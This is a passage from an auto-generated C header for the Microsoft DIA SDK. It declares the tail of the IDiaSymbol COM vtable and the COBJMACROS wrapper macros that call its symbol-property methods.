STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbolVtbl;\n\n    interface IDiaSymbol\n    {\n        CONST_VTBL struct IDiaSymbolVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol_get_samplerSlot(This,pRetVal)\t\\\n    ( 